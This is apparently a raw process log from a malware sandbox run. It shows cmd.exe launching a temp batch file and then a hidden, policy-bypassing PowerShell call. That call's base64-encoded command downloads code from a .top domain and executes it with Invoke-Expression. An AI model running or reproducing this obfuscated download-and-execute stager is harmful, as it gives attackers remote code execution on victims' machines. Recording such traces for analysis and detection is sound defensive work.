cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "bdjqFXXnkNKAoId" C:\Users\test22\AppData\Local\Temp\test.bat
1932powershell.exe powershell -ep bypass -w hidden -nop -enc JABMAGkAbgBrAEkARQBYACAAPQAgACcAaAB0AHQAcABzADoALwAvADIAcgBlAGMAbwB2AGIAYQBzAGUALgB0AG8AcAAvACcAOwANAAoAJABDAD0AaQB3AHIAIAAkAEwAaQBuAGsASQBFAFgAIAAtAFUAcwBFAEIAYQBTAEkAYwBQAEEAcgBzAGkATgBnACAAfABpAGUAeAA7AA==
2236